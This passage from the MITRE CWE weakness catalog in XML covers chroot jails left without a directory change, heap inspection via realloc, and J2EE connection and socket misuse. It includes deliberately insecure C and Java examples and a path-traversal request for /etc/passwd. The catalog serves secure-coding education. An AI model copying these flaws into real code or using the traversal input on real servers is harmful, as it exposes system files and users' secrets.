               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-194" Section="Chapter 5. Working with I/O"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;gets and fgets&#34; Page 163"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Type, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Dangerous Functions</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Use of Inherently Dangerous Functions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="243" Name="Creation of chroot Jail Without Changing Working Directory" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.</Description>
         <Extended_Description>Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Operating_System Class="Unix" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider the following source code from a (hypothetical) FTP server:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>chroot("/var/ftproot");<xhtml:br/>...<xhtml:br/>fgets(filename, sizeof(filename), network);<xhtml:br/>localfile = fopen(filename, "r");<xhtml:br/>while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {<xhtml:div style="margin-left:1em;">fwrite(buf, 1, sizeof(buf), network);</xhtml:div>}<xhtml:br/>fclose(localfile);</xhtml:div>
               </Example_Code>
               <Body_Text>This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Directory Restriction</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP17</Entry_ID>
               <Entry_Name>Failed chroot jail</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Background_Details, Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Causal_Nature, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Directory Restriction</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Change Working Directory in chroot Jail</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="244" Name="Improper Clearing of Heap Memory Before Release ('Heap Inspection')" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.</Description>
         <Extended_Description>When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="669" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Other</Impact>
               <Note>Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-148">
               <Intro_Text>The following code calls realloc() on a buffer containing sensitive data:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>cleartext_buffer = get_secret();...<xhtml:br/>cleartext_buffer = realloc(cleartext_buffer, 1024);<xhtml:br/>...<xhtml:br/>scrub_memory(cleartext_buffer, 1024);</xhtml:div>
               </Example_Code>
               <Body_Text>There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext_buffer could still contain an uncleared copy of the data.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Heap Inspection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM03-C</Entry_ID>
               <Entry_Name>Clear sensitive information stored in reusable resources returned for reuse</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Name, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Heap Inspection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-09-09">Failure to Clear Heap Memory Before Release</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Clear Heap Memory Before Release ('Heap Inspection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="245" Name="J2EE Bad Practices: Direct Management of Connections" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The J2EE application directly manages connections, instead of using the container's connection management facilities.</Description>
         <Extended_Description>The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class DatabaseConnection {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqldb";<xhtml:br/>private Connection conn = null;<xhtml:br/>
                           <xhtml:br/>public DatabaseConnection() {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>public void openDatabaseConnection() {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">conn = DriverManager.getConnection(CONNECT_STRING);</xhtml:div>} catch (SQLException ex) {...}</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>// Member functions for retrieving database connection and accessing database<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>public class DatabaseConnection {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqldb";<xhtml:br/>private Connection conn = null;<xhtml:br/>
                           <xhtml:br/>public DatabaseConnection() {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>public void openDatabaseConnection() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>InitialContext ctx = new InitialContext();<xhtml:br/>DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);<xhtml:br/>conn = datasource.getConnection();<xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>} catch (NamingException ex) {...}<xhtml:br/>} catch (SQLException ex) {...}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>// Member functions for retrieving database connection and accessing database<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Bad Practices: getConnection()</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Bad Practices: getConnection()</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="246" Name="J2EE Bad Practices: Direct Use of Sockets" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The J2EE application directly uses sockets instead of using framework method calls.</Description>
         <Extended_Description>
            <xhtml:p>The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.</xhtml:p>
            <xhtml:p>Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use framework method calls instead of using sockets directly.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example opens a socket to connect to a remote server.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Perform servlet tasks.</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Open a socket to a remote server (bad).</xhtml:i>
                           <xhtml:br/>Socket sock = null;<xhtml:br/>
